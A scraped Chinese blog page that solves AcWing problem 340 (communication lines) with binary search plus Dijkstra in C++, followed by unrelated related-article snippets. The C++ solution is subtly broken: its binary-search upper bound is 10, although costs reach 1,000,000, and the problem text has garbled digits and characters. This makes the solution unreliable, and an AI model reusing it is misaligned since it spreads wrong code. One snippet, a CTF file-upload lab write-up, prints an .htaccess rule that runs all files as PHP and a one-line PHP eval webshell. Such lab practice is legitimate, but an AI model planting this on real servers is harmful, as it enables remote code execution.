当前位置: 首页 > news >正文

二分,Dijkstra,340. 通信线路

在郊区有 N 座通信基站,P 条 双向 电缆,第 i 条电缆连接基站 Ai 和 Bi。

特别地,1 号基站是通信公司的总站,N 号基站位于一座农场中。

现在,农场主希望对通信线路进行升级,其中升级第 i 条电缆需要花费 Li。

电话公司正在举行优惠活动。

农产主可以指定一条从 1 号基站到 N 号基站的路径,并指定路径上不超过 K 条电缆,由电话公司免费提供升级服务。

农场主只需要支付在该路径上剩余的电缆中,升级价格最贵的那条电缆的花费即可。

求至少用多少钱可以完成升级。

输入格式

第 11 行:三个整数 N,P,K

第 2..P+12.. 行:第 i+1 行包含三个整数 Ai,Bi,Li

输出格式

包含一个整数表示最少花费。

若 11 号基站与 N� 号基站之间不存在路径,则输出 −1−1。

数据范围

0≤K<N≤1000
1≤P≤10000
1≤Li≤1000000

输入样例:

5 7 1
1 2 5
3 1 4
2 4 8
3 2 3
5 2 9
3 4 7
4 5 6

输出样例:

4

 解析:

(此题还可用最短路中的分层图解,详情请看最短路分栏spfa,分层图,340. 通信线路,《算法竞赛进阶指南》_Landing_on_Mars的博客-CSDN博客)

详细思路请参考AcWing 340. 通信线路(二分答案+dijkstra) - AcWing

#include<iostream>
#include<cstdio>
#include<cstdlib>
#include<string>
#include<cstring>
#include<cmath>
#include<ctime>
#include<algorithm>
#include<utility>
#include<stack>
#include<queue>
#include<vector>
#include<set>
#include<map>
using namespace std;
typedef long long LL;
const int N = 1e3 + 5;
int n, m, k;
vector<pair<int, int>>G[N];
int d[N], v[N];typedef struct st {int u, w;
}st;bool operator>(const st& a, const st& b) {return a.w > b.w;
}int dij(int w) {memset(d, 0x3f3f3f3f, sizeof(d));memset(v, 0, sizeof(v));priority_queue<st, vector<st>, greater<st>>q;q.push({ 1,0 });d[1] = 0;int t;while (!q.empty()) {t = q.top().u;q.pop();if (v[t])continue;v[t] = 1;for (int i = 0; i < G[t].size(); i++) {int j = G[t][i].first, dist = G[t][i].second>w?1:0;if (d[j] > d[t] + dist) {d[j] = d[t] + dist;q.push({ j,d[j] });}}}if (d[n] == 0x3f3f3f3f)return d[n];return d[n] <= k;
}int main() {cin >> n >> m >> k;for (int i = 1,a,b,t; i <= m; i++) {scanf("%d%d%d", &a, &b, &t);G[a].push_back({ b,t });G[b].push_back({ a,t });}int l = 0, r = 10, mid,ans=0,tt;while (l<=r) {mid = l + (r - l) / 2;tt = dij(mid);if (tt == 0x3f3f3f3f) {cout << -1 << endl;break;}if (tt) {r = mid-1;}else {l = mid+1;ans = mid;}}if (tt != 0x3f3f3f3f)cout << ans << endl;return 0;
}

相关文章:

二分,Dijkstra,340. 通信线路

在郊区有 N 座通信基站&#xff0c;P 条 双向 电缆&#xff0c;第 i 条电缆连接基站 Ai 和 Bi。 特别地&#xff0c;1 号基站是通信公司的总站&#xff0c;N 号基站位于一座农场中。 现在&#xff0c;农场主希望对通信线路进行升级&#xff0c;其中升级第 i 条电缆需要花费 L…...

Stable Diffusion---Ai绘画-下载-入门-进阶(笔记整理)

前言 注&#xff1a;本文偏向于整理&#xff0c;都是跟着大佬们学的。 推荐两个b站up主&#xff0c;学完他们俩的东西基本就玩转SD为底的ai绘画&#xff1a; 秋葉aaaki&#xff0c;Nenly同学 1.首先SD主流的就是秋叶佬的Webui了&#xff0c;直接压缩包下载即可&#xff0c;下…...

Java 乘等赋值运算

下面这个题目是在一公司发过来的&#xff0c;如果你对 Java 的赋值运算比较了解的话&#xff0c;会很快知道答案的。 这个运算符在 Java 里面叫做乘等或者乘和赋值操作符&#xff0c;它把左操作数和右操作数相乘赋值给左操作数。 例如下面的&#xff1a;density * invertedRat…...

【性能优化】聊聊性能优化那些事

针对于互联网应用来说&#xff0c;性能优化其实就是一直需要做的事情&#xff0c;因为系统响应慢&#xff0c;是非常影响用户的体验&#xff0c;可能回造成用户流失。所以对于性能非常重要。最近正好接到一个性能优化的需求&#xff0c;需要对所负责的系统进行性能提升。目前接…...

k8s 查看加入主节点命令 k8s重新查看加入节点命令 k8s输入删除,重新查看加入命令 kuberadm查看加入节点命令

1. 使用kuberadm 安装成功后&#xff0c;clear清除了屏幕数据&#xff0c;加入命令无法查看&#xff0c;使用如下&#xff0c;重新查看node如何加入主节点命令&#xff1a; kubeadm token create --print-join-command --ttl 0 2.画圈的全部是&#xff0c;都复制&#xff0c;在…...

Scalene:Python CPU+GPU+内存分析器,具有人工智能驱动的优化建议

一、前言 Python 是一种广泛使用的编程语言&#xff0c;通常与其他语言编写的库一起使用。在这种情况下&#xff0c;如何提高性能和内存使用率可能会变得很复杂。但是&#xff0c;现在有一个解决方案&#xff0c;可以轻松地解决这些问题 - 分析器。 分析器旨在找出哪些代码段…...

C语言练习8(巩固提升)

C语言练习8 编程题 前言 奋斗是曲折的&#xff0c;“为有牺牲多壮志&#xff0c;敢教日月换新天”&#xff0c;要奋斗就会有牺牲&#xff0c;我们要始终发扬大无畏精神和无私奉献精神。奋斗者是精神最为富足的人&#xff0c;也是最懂得幸福、最享受幸福的人。正如马克思所讲&am…...

Java匿名内部类

文章目录 前言一、使用匿名内部类需要注意什么&#xff1f;二、使用步骤匿名内部类的结构匿名内部类的实用场景1. 事件监听器2. 过滤器3. 线程4. 实现接口5.单元测试&#xff1a;6.GUI编程7.回调函数 前言 Java中的匿名内部类是一种可以在声明时直接创建对象的内部类。这种内部…...

Shiro和SpringSecurity的区别

文章目录 前言1.Shiro&#xff1a;Shiro的特点&#xff1a; 2.SpringSecurity&#xff1a;SpringSecurity特点&#xff1a; 3.对比&#xff1a;总结 前言 Shiro 和 Spring Security 都是用于在Java应用程序中实现身份验证&#xff08;Authentication&#xff09;和授权&#x…...

【STM32】学习笔记(OLED)

调试方式 OLED简介 硬件电路 驱动函数 OLED.H #ifndef __OLED_H #define __OLED_Hvoid OLED_Init(void); void OLED_Clear(void); void OLED_ShowChar(uint8_t Line, uint8_t Column, char Char); void OLED_ShowString(uint8_t Line, uint8_t Column, char *String); void OL…...

概念解析 | 认知雷达:有大脑的雷达

注1:本文系“概念解析”系列之一,致力于简洁清晰地解释、辨析复杂而专业的概念。本次辨析的概念是:认知雷达。 认知雷达:有大脑的雷达 1.背景介绍 对于传统的雷达,它们通常都是预设定参数和模式来进行工作,比如发射功率、波形、扫描模式等。然而,这种方式面临着一些挑…...

B. Long Long

time limit per test 2 seconds memory limit per test 256 megabytes input standard input output standard output Today Alex was brought array a1,a2,…,an&#xfffd;1,&#xfffd;2,…,&#xfffd;&#xfffd; of length n&#xfffd;. He can apply as m…...

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…...

Python中的绝对和相对导入

在本文中&#xff0c;我们将看到Python中的绝对和相对导入。 Python中导入的工作 Python中的import类似于C/C中的#include header_file。Python模块可以通过使用import导入文件/函数来访问其他模块的代码。import语句是调用import机制的最常见方式&#xff0c;但它不是唯一的…...

C语言关于与运算符

C语言关于&与&&运算符 我们知道&#xff0c;在很多场景中&和&&通常可以相互代替&#xff0c;那么它们到底有什么不同呢&#xff1f; 先看一段代码 bool a, b, c; c a & b;使用clang -S编译出来的指令如下&#xff1a; movb -5(%rbp), %al …...

计算机网络(速率、宽带、吞吐量、时延、发送时延)

速率&#xff1a; 最重要的一个性能指标。 指的是数据的传送速率&#xff0c;也称为数据率 (data rate) 或比特率 (bit rate)。 单位&#xff1a;bit/s&#xff0c;或 kbit/s、Mbit/s、 Gbit/s 等。 例如 4 1010 bit/s 的数据率就记为 40 Gbit/s。 速率往往是指额定速率或…...

kubectl入门

一.kubectl的三种资源管理方式&#xff1a; 二. kubectl资源介绍&#xff1a; 1.namespace&#xff1a;实现多套环境的资源隔离或者多租户的资源隔离。k8s中的pod默认可以相互访问&#xff0c;如果不想让两个pod之间相互访问&#xff0c;就将其划分到不同ns下。 2.pod&#xff…...

Android JNI系列详解之ndk-build工具的使用

一、Android项目中使用ndk-build工具编译库文件 之前介绍过CMake编译工具的使用&#xff0c;今天介绍一种ndk自带的编译工具ndk-build的使用。 ndk-build目前主要有两种配置使用方式&#xff1a; 如上图所示&#xff0c;第一种方式是Android.mkApplication.mkgradle的方式生成…...

【业务功能篇90】微服务-springcloud-检索服务-ElasticSearch实战运用-DSL语句

商城检索服务 1.检索页面的搭建 商品检索页面我们放在search服务中处理&#xff0c;首页我们需要在mall-search服务中支持Thymeleaf。添加对应的依赖 <!-- 添加Thymeleaf的依赖 --><dependency><groupId>org.springframework.boot</groupId><artifa…...

QTday4

实现闹钟功能 1》 头文件 #ifndef BURGER_H #define BURGER_H#include <QWidget> #include <QLabel> #include <QLineEdit> #include <QPushButton> #include <QTextEdit> #include <QTimerEvent> //定时器事件类 #include <QDateTim…...

云启出海,智联未来|阿里云网络「企业出海」系列客户沙龙上海站圆满落地

借阿里云中企出海大会的东风&#xff0c;以**「云启出海&#xff0c;智联未来&#xff5c;打造安全可靠的出海云网络引擎」为主题的阿里云企业出海客户沙龙云网络&安全专场于5.28日下午在上海顺利举办&#xff0c;现场吸引了来自携程、小红书、米哈游、哔哩哔哩、波克城市、…...

高频面试之3Zookeeper

高频面试之3Zookeeper 文章目录 高频面试之3Zookeeper3.1 常用命令3.2 选举机制3.3 Zookeeper符合法则中哪两个&#xff1f;3.4 Zookeeper脑裂3.5 Zookeeper用来干嘛了 3.1 常用命令 ls、get、create、delete、deleteall3.2 选举机制 半数机制&#xff08;过半机制&#xff0…...

大语言模型如何处理长文本?常用文本分割技术详解

为什么需要文本分割? 引言:为什么需要文本分割?一、基础文本分割方法1. 按段落分割(Paragraph Splitting)2. 按句子分割(Sentence Splitting)二、高级文本分割策略3. 重叠分割(Sliding Window)4. 递归分割(Recursive Splitting)三、生产级工具推荐5. 使用LangChain的…...

python爬虫:Newspaper3k 的详细使用(好用的新闻网站文章抓取和解析的Python库)

更多内容请见: 爬虫和逆向教程-专栏介绍和目录 文章目录 一、Newspaper3k 概述1.1 Newspaper3k 介绍1.2 主要功能1.3 典型应用场景1.4 安装二、基本用法2.2 提取单篇文章的内容2.2 处理多篇文档三、高级选项3.1 自定义配置3.2 分析文章情感四、实战案例4.1 构建新闻摘要聚合器…...

ServerTrust 并非唯一

NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...

【HarmonyOS 5 开发速记】如何获取用户信息(头像/昵称/手机号)

1.获取 authorizationCode&#xff1a; 2.利用 authorizationCode 获取 accessToken&#xff1a;文档中心 3.获取手机&#xff1a;文档中心 4.获取昵称头像&#xff1a;文档中心 首先创建 request 若要获取手机号&#xff0c;scope必填 phone&#xff0c;permissions 必填 …...

今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存

文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...

JAVA后端开发——多租户

数据隔离是多租户系统中的核心概念&#xff0c;确保一个租户&#xff08;在这个系统中可能是一个公司或一个独立的客户&#xff09;的数据对其他租户是不可见的。在 RuoYi 框架&#xff08;您当前项目所使用的基础框架&#xff09;中&#xff0c;这通常是通过在数据表中增加一个…...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...

PAN/FPN

import torch import torch.nn as nn import torch.nn.functional as F import mathclass LowResQueryHighResKVAttention(nn.Module):"""方案 1: 低分辨率特征 (Query) 查询高分辨率特征 (Key, Value).输出分辨率与低分辨率输入相同。"""def __…...